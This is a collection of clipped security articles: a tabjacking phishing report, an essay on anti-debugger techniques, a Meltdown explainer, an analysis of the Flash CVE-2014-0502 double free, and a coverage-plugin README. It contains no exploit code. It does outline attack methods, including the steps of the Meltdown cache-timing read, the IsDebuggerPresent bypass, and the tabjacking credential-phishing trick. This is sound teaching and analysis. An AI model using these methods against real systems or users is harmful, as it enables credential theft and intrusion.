docker, Metasploit, python, Router Security, RouterSploit, SQL injection

  

# Interesting Phishing Concept Tabjacking

**Created:**| _5/29/2010 11:29:05 AM_  
---|---  
**Updated:**| _5/29/2010 11:29:05 AM_  
**Author:**| _wishi_  
**Tags:**| _web-app-sec attacks_  
  

# Interesting Phishing Concept Tabjacking

  

By now most Internet users know what phishing stands for, or so they think. If
you ask them to define phishing most will likely mention that it is about fake
email links that lead to look-a-like copies of popular websites. What most
users do not know is that their definition of phishing is not entirely
correct. Phishing, which stands for Password fISHING, is not exclusive to
email. The term hints at that little known fact. Phishing can occur everywhere
including Instant Messengers, forums, by social engineering and on plain
websites.

Aza Raskin just posted an interesting article on his blog detailing a new
phishing attack that he calls Tabjacking. The concept of this new attack is
ingenious.

It basically refers to a website that is changing its look and feels to a fake
website after some time of inactivity. Here is how it works.

The web user visits a harmless looking site and decides to keep it open in a
tab for the time being. A JavaScript code on the page notices that and
replaces the site’s favicon and title with a popular site’s one. This could be
Facebook, Gmail or any other popular website that the user likely uses.

The website itself will also change its contents so that it looks like the
website that the attacker wants to steal login credentials for.

Many users identify websites in tabs by their favicon and title. This could
lead to the user believing that the site is indeed the real website. Clicking
on the tab displays what the user expects to see as the copy looks exactly
like the original.

For Gmail it would for instance be the Gmail login form. Users who enter their
login credentials into the form will send them right to the attacker. The
script on the website will redirect the user to the real website in the end.

, shockwave-
flash@http://vimeo.com/moogaloop.swf?clip\_id=12003099&server=vimeo.com&show\_title=1&show\_byline=1&show\_portrait=0&color=&fullscreen=1"
class="\_\_noscriptPlaceholder\_\_ \_\_noscriptObjectPatchMe\_\_"
style="border-width: 0px; margin: 0px; padding: 0px; outline-offset: -1px;
display: inline;">

A New Type of Phishing Attack from Aza Raskin on Vimeo.

There are obviously a few elements left that the user can use to identify the
attack. The url for instance will not reflect the website that is displayed to
the user. It is also likely that the site will not make use of https.

Take a look at Aza’s blog post for additional information about the attack
including codes, fixes and lots of user comments.

  
  

Tags: internet, internet security, phishing, phishing scams, Security,
tabjacking  
Categories: Browsing, Security

**Previous Post:** Nitro PDF Reader

  

**Next Post:** Google Chrome 5 Stable Released

  
  
  

### Related posts:

  1. Phishing Protection Tips
  2. Amazon Phishing page
  3. Fix Slow Internet Explorer 7 Phishing Filter Response Times
  4. Facebook Phishing Scam In The Wild
  5. How to defeat Phishing
  6. Gmail And Yahoo Mail Users Now Protected Against eBay And PayPal Phishing Mails
  7. Facebook Login Phishing And Account Hacking Warnings
  8. Hotmail Phishing Attack: Time To Change Passwords

# Anti-debugger techniques are overrated « root labs rdist

**Created:**| _9/3/2009 10:03:19 AM_  
---|---  
**Updated:**| _9/3/2009 10:03:25 AM_  
**Author:**| __  
**Tags:**| _Debugging reversing_  
  

### Anti-debugger techniques are overrated

Filed under: Hacking, Security, Software protection — Nate Lawson @ 2:01 pm  

Most protection schemes include various anti-debugger techniques. They can be
as simple as IsDebuggerPresent\(\) or complex as attempting to detect or crash
a particular version of SoftICE. The promise of these techniques is that they
will prevent attackers from using their favorite tools. The reality is that
they are either too simple and thus easy to bypass or too specific to a
particular type or version of debugger. When designing software protection,
it’s best to build a core that is resistant to reverse-engineering of all
kinds and not rely on anti-debugger techniques.

One key point that is often overlooked is that anti-debugger techniques, at
best, increase the difficulty of the first break. This characteristic is
similar to other approaches, including obfuscation. Such techniques do nothing
to prevent optimizing the first attack or packaging an attack for
distribution.

In any protection system, there are two kinds of primitives:  _checks_ and
_landmines_. Checks produce a changing value or code execution path based on
the status of the item checked. Landmines crash, hang, scramble, or otherwise
interfere with the attacker’s tools themselves. Anti-debugger techniques come
in both flavors.

IsDebuggerPresent\(\) is an example of a simple check. It is extremely general
but can be easily bypassed with a breakpoint script or by traditional
approaches like patching the import table \(IAT\). However, since the
implementation of this function merely returns a value from the process
memory, it can even be overwritten to always be 0 \(False\). The approach is
to find the TIB \(Thread Information Block\)**** via the %fs segment register,
dereference a pointer to the PEB \(Process Environment Block\), and overwrite
a byte at offset 2. Since it is so general, it has little security value.

More targeted checks or landmines have been used before, against SoftICE for
example. \(Note that the SIDT method listed is very similar to the later Red
Pill approach — everything old is new again.\) To the protection author,
targeted anti-debugger techniques are like using a 0day exploit. Once you are
detected and the hole disabled or patched, you have to find a new one. That
may be a reasonable risk if you are an attacker secretly trying to compromise
a few valuable servers. But as a protection author, you’re publishing your
technique to the entire world of reverse engineers, people especially adept at
figuring it out. You may slow down the first one for a little while, but
nothing more than that.

Anti-debugging techniques do have a small place if their limits are
recognized. IsDebuggerPresent\(\) can be used to provide a courtesy notice
reminding the user of their license agreement \(i.e., the “no reverse
engineering” clause.\) However, since it is so easily bypassed, it should not
be used as part of any protection scheme. Debugger-specific checks and
landmines can be sprinkled throughout the codebase and woven into the overall
scheme via mesh techniques. However, their individual reliability should be
considered very low due to constantly improving reversing tools and the ease
with which attackers can adapt to any specific technique.

# An accessible overview of Meltdown and Spectre, Part 1

**Created:**| _3/7/2018 8:37:10 AM_  
---|---  
**Updated:**| _3/7/2018 8:37:10 AM_  
**Author:**| _wishi_  
**Tags:**| _intel intel msr_  
  

  

# An accessible overview of Meltdown and Spectre, Part 1

In the past few weeks the details of two critical design flaws in modern
processors were finally revealed to the public. Much has been written about
the impact of Meltdown and Spectre, but there is scant detail about what these
attacks are and how they work. We are going to try our best to fix that.

This article is explains how the Meltdown and Spectre attacks work, but in a
way that is accessible to people who have never taken a computer architecture
course. Some technical details will be greatly simplified or omitted, but
you’ll understand the core concepts and why Spectre and Meltdown are so
important and technically interesting.

This article is divided into two parts for easier reading. The first part
\(what you are reading now\) starts with a crash course in computer
architecture to provide some background and explains what Meltdown actually
does. The second part explains both variants of Spectre and discusses why
we’re fixing these bugs now, even though they’ve been around for the past 25
years.

# Background

First, a lightning-fast overview of some important computer architecture
concepts and some basic assumptions about hardware, software, and how they
work together. These are necessary to understand the flaws and why they work.

## Software is Instructions and Data

All the software that you use \(e.g. Chrome, Photoshop, Notepad, Outlook,
etc.\) is a sequence of small individual instructions executed by your
computer’s processor. These instructions operate on data stored in memory
\(RAM\) and also in a small table of special storage locations, called
registers. Almost all software assumes that a program’s instructions execute
**one after another**. This assumption is both sound and practical — it is
equivalent to assuming that time travel is impossible — and it enables us to
write functioning software.

<img src='img/image21.png' width='576' height='422' alt='image2' />

These Intel x86-64 processor instructions in notepad.exe on Windows show what
software looks like at the instruction level. The arrows flow from branch
instructions to their possible destinations.

Processors are designed to be fast. Very, very fast. A modern Intel processor
can execute ~300 billion instructions per second. Speed drives new processor
sales. Consumers demand speed. Computer engineers have found some amazingly
clever ways to make computers fast. Three of these techniques — caching,
speculative execution, and branch prediction — are key to understanding
Meltdown and Spectre. As you may have guessed, these optimizations are in
conflict with the sequential assumption of how the hardware in your computer
executes instructions.

## Caching

Processors execute instructions very quickly \(one instruction every ~2 ns\).
These instructions need to be stored somewhere, as does the data they operate
on. That place is called main memory \(i.e. RAM\). Reading or writing to RAM
is 50-100x slower \(~100 ns/operation\) than the speed at which processors
execute instructions.

Because reading from and writing to memory is slow \(relative to the
instruction execution speed\), a key goal of modern processors is to avoid
this slowness. One way to achieve this is to assume a common behavior across
most programs: they access the same data over and over again. Modern
processors speed up reads and writes to frequently accessed memory locations
by storing copies of the contents of those memory locations in a “cache.” This
cache is located on-chip, near the processor cores that execute instructions.
This closeness makes accessing cached memory locations considerably faster
than going off-chip to the main storage in RAM. Cache access times vary by the
type of cache and its location, but they are on the order of ~1ns to ~3ns,
versus ~100ns for going to RAM.

<img src='img/780_image6.png' width='576' height='364' alt='image6' />

An image of an Intel Nehalem processor die \(first generation Core i7, taken
from this press release\). There are multiple levels of cache, numbered by how
far away they are from the execution circuitry. The L1 and L2 cache are in the
core itself \(likely the bottom right/bottom left of the core images\). The L3
cache is on the die but shared among multiple cores. Cache takes up a lot of
expensive processor real estate because the performance gains are worth it.

Cache capacity is tiny compared to main memory capacity. When a cache fills,
any new items put in the cache must evict an existing item. Because of the
stark difference in access times between memory and cache, **it is possible
for a program to tell whether or not a memory location it requested was cached
by timing how long the access took**. We’ll discuss this in depth later, but
this cache-based timing side-channel is what Meltdown and Spectre use to
observe internal processor state.

## Speculative Execution

Executing one instruction at a time is slow. Modern processors don’t wait.
They execute a bundle of instructions at once, then re-order the results to
pretend that everything executed in sequence. This technique is called out-of-
order execution. It makes a lot of sense from a performance standpoint:
executing 4 instructions one at a time would take 8ns \(4 instructions x 2
ns/instruction\). Executing 4 instructions at once \(realistic on a modern
processor\) takes just 2ns — a 75% speedup\!

While out-of-order execution and speculative execution have different
technical definitions, for the purposes of this blog post we’ll be referring
to both as speculative execution. We feel justified in this because out-of-
order execution is by nature speculative. Some instructions in a bundle may
not need to be executed. For example, an invalid operation like a division by
zero may halt execution, thus forcing the processor to roll back operations
performed by subsequent instructions in the same bundle.

<img src='img/778_image3.png' width='576' height='206' alt='image3' />

A visualization of performance gained by speculatively executing instructions.
Assuming 4 execution units and instructions that do not depend on each other,
in-order execution will take 8ns while out-of-order execution will take 2ns.
Please note that this diagram is a vast oversimplification and purposely
doesn’t show many important things that happen in real processors \(like
pipelining\).

Sometimes, the processor makes incorrect guesses about what instructions will
execute. In those cases, speculatively executed instructions must be “un-
executed.” As you may have guessed, researchers have discovered that some
side-effects of un-executed instructions remain.

There are many caveats that lead to speculative execution guessing wrong, but
we’ll focus on the two that are relevant to Meltdown and Spectre: exceptions
and branch instructions. Exceptions happen when the processor detects that a
rule is being violated. For example, a divide instruction could divide by
zero, or a memory read could access memory without permission. We discuss this
more in the section on Meltdown. The second caveat, branch instructions, tell
the processor what to execute next. Branch instructions are critical to
understanding Spectre and are further described in the next section.

## Branch Prediction

Branch instructions control execution flow; they specify where the processor
should get the next instruction. For this discussion we are only interested in
two kinds of branches: conditional branches and indirect branches. A
conditional branch is like an fork in the road because the processor must
select one of two choices depending on the value of a condition \(e.g. `A > B;
C = 0;` etc. \). An indirect branch is more like a portal because the
processor can go anywhere. In an indirect branch, the processor reads a value
that tells it where to fetch the next instruction.

<img src='img/777_image11.png' width='576' height='253' alt='image1' />

A conditional branch and its two potential destinations. If the two operands
of the cmp instruction are equal, this branch will be taken \(i.e. the
processor will execute instructions at the green arrow\). Otherwise the branch
will not be taken \(i.e. the processor will execute instructions at the red
arrow\). Code taken from notepad.exe

<img src='img/779_image4.png' width='576' height='98' alt='image4' />

An indirect branch. This branch will redirect execution to whatever address is
at memory location 0x10000c5f0. In this case, it will call the initterm
function. Code taken from notepad.exe.

Branches happen very frequently, and get in the way of speculative execution.
After all, the processor can’t know _which_ code to execute until after the
branch condition calculation completes. The way processors get around this
dilemma is called **branch prediction**. The processor guesses the branch
destination. When it guesses incorrectly, the already-executed actions are un-
executed and new instructions are fetched from the correct location. This is
uncommon. Modern branch predictors are easily 96+% accurate on normal
workloads.

When the branch predictor is wrong, the processor speculatively executes
instructions **with the wrong context**. Once the mistake is noticed, these
phantom instructions are un-executed. As we’ll explain, the Spectre bug shows
that it is possible to control both the branch predictor and to determine some
effects of those un-executed instructions.

# Meltdown

Now let’s apply the above computer architecture knowledge to explain Meltdown.
The Meltdown bug is a design flaw in \(almost\) every Intel processor released
since 1995. Meltdown allows a specially crafted program to read core operating
system memory that it should not have permission to access.

Processors typically have two privilege modes: user and kernel. The user part
is for normal programs you interact with every day. The kernel part is for the
core of your operating system. The kernel is shared among all programs on your
machine, making sure they can function together and with your computer
hardware, and contains sensitive data \(keystrokes, network traffic,
encryption keys, etc\) that you may not want exposed to all of the programs
running on your machine. Because of that, user programs are not permitted to
read kernel memory. The table that determines what part of memory is user and
what part is kernel is also stored in memory.

Imagine a situation where some kernel memory content is in the cache, but its
permissions are not. Checking permissions will be much slower than simply
reading the value of the content \(because it requires a memory read\). In
these cases, Intel processors check permissions asynchronously: they start the
permission check, read the cached value anyway, and abort execution if
permission was denied. Because processors are much faster than memory, dozens
of instructions may speculatively execute before the permission result
arrives. Normally, this is not a problem. Any instructions that happen after a
permissions check fails will be thrown away, as if they were never executed.

What researchers figured out was that it was possible to speculatively execute
a set of instructions that would leave an observable sign \(via a cache timing
side-channel\), even after un-execution. Furthermore, it was possible to leave
a different sign depending on the content of kernel memory — meaning a user
application could indirectly observe kernel memory content, without ever
having permission to read that memory.

## Technical Details

<img src='img/776_image5.png' width='576' height='203' alt='image5' />

A graphical representation of the core issue in Meltdown, using terminology
from the steps described below. It is possible to speculatively read core
system memory without permission. The effects of these temporary speculative
reads are supposed to be invisible after instruction abort and un-execution.
It turns out that cache effects of speculative execution cannot be undone,
which creates a cache-based timing side channel that can be used to read core
system memory without permission.

At a high level, the attack works as follows:

  1. A user application requests a large block of memory, which we’ll call `bigblock`, and **ensures that none of it is cached**. The block is logically divided into 256 pieces \(`bigblock[0], bigblock[1], bigblock[2], ... bigblock[255]`\).
  2. Some preparation takes place to ensure that a memory permissions check for a kernel address will take a long time.
  3. The fun begins\! The program will read one byte from a kernel memory address — we’ll call this value `secret_kernel_byte`. As a refresher, a byte can be any number in the range of 0 to 255. This action starts a race between the permissions check and the processor.
  4. Before the permissions check completes, the hardware continues its speculative execution of the program, which uses `secret_kernel_byte` to read a piece of `bigblock` \(i.e. `x = bigblock[secret_kernel_byte]`\). This use of a piece of `bigblock` will **cache that piece** , even if the instruction is later undone.
  5. At this point the permissions check returns permission denied. All speculatively executed instructions are un-executed and the processor pretends it never read memory at `bigblock[secret_kernel_byte]`. There is just one problem: a piece of `bigblock` is now in the cache, and it wasn’t before.
  6. The program will time how long it takes to read every piece of `bigblock`. The piece cached due to speculative execution will be read **much faster** than the rest.
  7. The index of the piece in `bigblock` is the value of `secret_kernel_byte`. For example, if `bigblock[42]` was read much faster than any other entry, the value of `secret_kernel_byte` must be 42.
  8. The program has now read one byte from kernel memory via a cache timing side-channel and speculative execution.
  9. The program can now continue to read more bytes. The Meltdown paper authors claim they can read kernel memory at a rate of 503 Kb/s using this technique.

## What is the impact?

Malicious software can use Meltdown to more easily gain a permanent foothold
on your desktop and to spy on your passwords and network traffic. This is
definitely bad. You should go apply the fixes. However, malicious software
could already do those things, albeit with more effort.

If you are a cloud provider \(like Amazon, Google, or Microsoft\) or a company
with major internet infrastructure \(like Facebook\), then this bug is an
absolute disaster. It’s hard to underscore just how awful this bug is. Here’s
the problem: the cloud works by dividing a massive datacenter into many
virtual machines rentable by the minute. A single physical machine can have
hundreds of different virtual tenants, each running their own custom code.
Meltdown breaks down the walls between tenants: each of those tenants could
potentially see **everything** the other is doing, like their passwords,
encryption keys, source code, etc. Note: how the physical hardware was
virtualized matters. Meltdown does not apply in some cases. The details are
beyond the scope of this post.

The fix for Meltdown incurs a performance penalty. Some sources say it is a
5-30% performance penalty, some say it is negligible, and others say single
digits to noticeable. What we know for sure is that older Intel processors are
impacted much more than newer ones. For a desktop machine, this is slightly
inconvenient. For a large cloud provider or internet company, a 5% performance
penalty across their entire infrastructure is an enormous price. For example,
Amazon is estimated to have 2 million servers. A 5 to 30% slowdown could mean
buying and installing 100,000 \(5%\) to 600,000 \(30%\) additional servers to
match prior capability.

## What should I do?

Please install the latest updates to your operating system \(i.e. MacOS,
Windows, Linux\). All major software vendors have released fixes that should
be applied by your automatic updater.

All major cloud providers have deployed fixes internally, and you as a
customer have nothing to worry about.

# To be continued…

We hope you have a better understanding of computer architecture concepts and
the technical details behind Meltdown. In the second half of this blog post we
will explain the technical details of Spectre V1 and Spectre V2 and discuss
why these bugs managed to stay hidden for the past 25 years. The technical
background will get more complicated, but the bugs are also more interesting.

Finally, we’d like to remind our readers that this blog post was written to be
accessible to someone without a computer architecture background, and we
sincerely hope we succeeded in explaining some difficult concepts. The
Meltdown and Spectre papers, and the Project Zero blog post are better sources
for the gory details.

  

# Deep Analysis of CVE-2014-0502 – A Double Free Story - SpiderLabs Anterior

**Created:**| _4/3/2014 9:22:24 AM_  
---|---  
**Updated:**| _4/3/2014 9:22:24 AM_  
**Author:**| __  
**Tags:**| _vulnerability Memory corruptions_  
  

# Deep Analysis of CVE-2014-0502 – A Double Free Story

A lot has already been said about CVE-2014-0502, the Adobe Flash Player zero-
day that was part of a targeted attack that infected several nonprofit
organizations’ websites. Several interesting aspects of the exploit were
covered in various blog posts; including its use of a .gif image file
containing shellcode, OS language and version checking for custom ROP gadgets,
etc.

After spending quite some time investigating the file ourselves, we felt that
the vulnerability was in itself very interesting and a thorough analysis of it
would be interesting to share. Today we finally found some time to write it
all up, so here it goes\!

The vulnerability is a double-free vulnerability caused by a bug in how shared
objects are handled by Adobe Flash Player. The following piece of code is
responsible for triggering the vulnerability:

<img src='img/Temp2_2048.png' alt='001- ActionScript' />

**What are Workers in flash?**

Not too long ago Adobe added support for background threads, which are
represented in ActionScript as “Workers." The purpose of a worker is to give
the developer the possibility of running simultaneous tasks without freezing
the Flash application. In simple words, this is an abstraction layer to
support multi-threading within Flash.

**What is a Shared Object?**

Adobe’s documentation includes the following details about shared objects:

_\[1\] “A local shared object, sometimes called a "Flash cookie," is a data
file that can be created on your computer by the sites you visit. Shared
objects are most often used to enhance your web-browsing experience. For
example, by allowing you to personalize the look of a website that you
frequently visit.” __\(Adobe\)_

_\[2\] “When an application closes, shared objects are flushed, or written to
a disk. You can also call the flush\(\) method to explicitly write data to a
disk.”_ _\(Adobe\)_

Shared Objects give the ability to save offline data generated by the
application. This data will remain available the next time the user loads the
application.

**What Actually Happens?**

During the termination of a worker \(Adobe Flash Player instance\), all shared
objects are \(obviously\) destroyed, but the shared object’s data is flushed
to the disk immediately before the objects are destroyed. The destructor
procedure of a shared object first calls an “Exit” function that performs two
important checks:

  1. Check for the “Pending Flush” flag – which indicates whether or not there is data that needs to be flushed to disk. In our sample the ActionScript code _sobj.data.log=’data…’_ turns the “Pending Flush” flag on.
  2. Check the domain’s “Maximum Storage” settings \(if not explicitly set for the hosting domain, this will be 100KB by default\).

If the first check passes and the process tries to flush the data \(to the
path _%appdata%\ Macromedia\Flash Player\\\#SharedObjects_ on disk\), it frees
the object block when finished whether it succeeds or not. Just before it
proceeds to the freeing part, Adobe Flash Player performs garbage collection
and decides that the “record” shared object is no longer in use \(due to the
fact that other related objects were freed.\) It therefore starts another free
operation whilst the first free operation is still in process, once again the
“Exit” function \(responsible for flushing\) is executed. The first check is
passed again since the “Pending Flush” flag is still on and the code attempts
to flush the file to disk. This operation fails, since we exceed the 100KB per
domain limit. Due to this failure the “Exit” function finishes without
clearing the “Pending Flush” flag. Next, still in the inner free operation,
the heap block that stored our “record” shared object is freed resulting in a
double free.

## Deeper Analysis

Here you can see the stack trace of the crash reproduced in our lab
environment:

<img src='img/Temp2_2049.png' alt='002-crash' />

From the crash we can figure out that the EAX register is supposed to point to
the freed object’s vftable\(virtual functions table\) and call the function at
offset 0x8. By looking at this code in IDAPro we can see that the ESI register
holds a reference to the freed object itself.

<img src='img/Temp2_2045.png' alt='003-1 - UAF' />

After adapting the sample \(the ROP part\) to lead the execution to the
0xCCCCCCC address and setting a breakpoint at the crash: _bp
Flash32\_12\_0\_0\_44+0x102f4b_ , we ran the modified sample.

We noticed that we hit our breakpoint a couple of times before it crashes, in
particular \(as shown in the screenshot below\) the exact same object – the
“record” object we created in ActionScript \(as a result of the line
_SharedObject.getLocal\( "record"\)_\) is used first to executes a function
from its vftable in a legitimate way. Following that, the player crashes for
attempting to execute the same instruction when the object was already freed.

The screenshot below shows both hits of our breakpoint. The ESI register is
pointing to the same object \(“record”\) in both cases. You can clearly see
that on the second hit the object has already been freed:

<img src='img/Temp2_2046.png' alt='004-crash breakpoints' />

**Ok so now we know which object was freed, but what caused it?**

In order to understand what caused the bug, let’s have another look at Adobe’s
documentation for shared objects:

_“**When** **an application closes** , **shared objects** **are flushed,** or
written to a disk. You can also call the flush\(\) method to explicitly write
data to a disk.”  _\(Adobe\)_ _

This means that a shared object will basically try to flush data to the disk
only when the shared object is destroyed, unless you explicitly use the
_flush\(\)_ method.

After analyzing the functions from the crash call stack, we noticed that the
crash was a result of the “record**”** shared object’s**destructor** code,
which was triggered by the termination of the worker. This means that before
freeing the object the destructor calls a function that will eventually cause
a crash \(here we can assume that this function is somehow related to flushing
the shared object before it is destroyed\).

With that in mind, let’s have a look at the function before our program
crashed:

<img src='img/Temp2_2047.png' alt='005-CrashIDAPro2' />

The diagram above shows that this “flushing” function will not proceed unless
the “record” object has a “Pending Flush” flag up \(offset 0xc1\).

In this sample, the “record” object has data pending to be flushed so this
flag will be up upon reaching the code in the diagram above. Just after the
first check of the flag, Adobe Flash Player will perform garbage collection
and determine that the “record” shared object is no longer in use \(as
described above\). This causes an additional call to the destructor of the
“record” object from within the current destructor. This flow explains why the
breakpoint discussed earlier is hit twice.

At this point the destruction process continues and attempts to flush the data
to disk as well as clear the “Pending Flush” flag. This attempt fails because
the data exceeds the maximum allowed size for this domain \(100KB by
default\), and therefore the flag stays up. Once the inner destructor finishes
the failed flushing attempt it will free the “record” object but**leave the
“Pending Flush” flag up.**

The following screenshot shows the **double free** flow caused by the inner
destructor:

<img src='img/Temp2_2050.png' alt='006-double free with callstack' />

This specific flow will result in the “Pending Flush” flag being up when the
object was already freed, and therefore Adobe Flash Player will try to execute
a function from a dereferenced pointer otherwise known as remote code
execution.

An attacker can easily create a specially crafted flash file and use this
vulnerability to control the execution flow and deliver a payload of their
choice.

We hope that you enjoyed this analysis, and that you could follow the
described flow even though the lack of symbols makes the analysis a bit more
complex.

As always, remember to keep your Adobe Flash Player up-to-date in order to
protect yourself.

Trustwave’s Secure Web Gateway costumers are protected against this attack
with the latest Security Update.

This blog post was co-authored by Ben Hayak and Anat Davidi.

# ForAllSecure/bncov

**Created:**| _5/10/2019 8:21:18 AM_  
---|---  
**Updated:**| _5/10/2019 8:21:18 AM_  
**Author:**| __  
**Tags:**| _binary instrumentation Fuzzer code-coverage_  
  

  

###  <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-book js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='57'%3e%3cpath fill-rule='evenodd' d='M3 5h4v1H3V5zm0 3h4V7H3v1zm0
2h4V9H3v1zm11-5h-4v1h4V5zm0 2h-4v1h4V7zm0 2h-4v1h4V9zm2-6v9c0 .55-.45 1-1
1H9.5l-1 1-1-1H2c-.55 0-1-.45-1-1V3c0-.55.45-1 1-1h5.5l1 1 1-1H15c.55 0 1 .45
1 1zm-8 .5L7.5 3H2v9h6V3.5zm7-.5H9.5l-.5.5V12h6V3z' data-evernote-id='836'
class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' /> README.md

# <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='58'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='838' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' />bncov
- Scriptable Binary Ninja plugin for coverage analysis and visualization

bncov provides a scriptable interface for bringing together coverage
information with Binary Ninja's static analysis and visualization. It was
designed for interactive GUI use as well as for factoring into larger analysis
tasks and standalone scripts.

<img src='img/demo_overview.gif' width='882' height='722' />

This plugin is provided as a prototype as a way to give back to the community,
and is not part of the Mayhem product. If you're interested in Mayhem, the
combined symbolic execution and fuzzing system, check us out at
forallsecure.com.

## <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='59'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='843' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>Installation

  1. Just clone or copy this directory into your binja plugins folder\! \(More detailed instructions here\)
  2. \(Optional\) pip install msgpack if you want to enable loading/saving coverage database files.

## <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='60'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='848' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' />Usage

First collect coverage information in DynamoRIO's drcov format \(example
script\).

To use in Binary Ninja GUI:

  1. Open the target binary, then import coverage files using one of the commands in `bncov/Coverage Import/Import \*` either from the Tools menu or from the context \(right-click\) menu.
  2. Explore the coverage visualization and explore additional analyses from the right-click menu or with the built-in interpreter and `import bncov`.

Scripting:

  1. `import bncov` and write scripts with the CoverageDB class in `coverage.py`, see examples in the `scripts` folder.

## <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='61'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='858' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>Screenshots

Import a coverage directory containing trace files to see blocks colored in
heat map fashion: blocks covered by most traces \(blue\) or by few traces
\(red\). Additional context commands \(right-click menu\) include frontier
highlighting and a per-function block coverage report.

  * Watch a directory to have new coverage results get automatically highlighted when new coverage files appear

<img src='img/Coverage-watching.gif' width='882' height='386' />

  * See at a glance which blocks are only covered by one or a few traces \(redder=rarer, bluer=more common\)

<img src='img/Relative-Rarity.png' width='882' height='555' />

  * Quickly discover rare functionality visually or with scripting

<img src='img/Heartbleed-Rare-block.png' width='882' height='594' />

  * Identify which blocks have outgoing edges not covered in the traces

<img src='img/Frontier-Highlight.png' width='882' height='555' />

  * See coverage reports on functions of interest or what functionality may not be hit, or write your own analyses for headless scripting

<img src='img/Coverage-Report.png' width='882' height='555' />

## <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='62'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='876' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' />Notes

Currently the plugin only deals with block coverage and ingests files in the
drcov2 format. Included in the repo is `dr_block_coverage.py` which can be
used for generating coverage files, just specify your DynamoRIO install
location with an environment variable \(or modify the script\) and it can
process a directory of inputs. DynamoRIO binary packages can be found here.
See the tutorial for a complete walkthrough.

There is only one optional dependency: the python module `msgpack`. This is
only used for saving and loading the CoverageDB class to a file. It trades
taking a large amount of disk space for a significant speedup of subsequent
analyses as opposed to loading/analyzing directories of coverage files.

This codebase is written for Python 2.7, with an effort to be compatible with
Python 3. Please file an issue if you encounter an incompatibility that isn't
easily fixed by `2to3` or `futurize`.

## <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
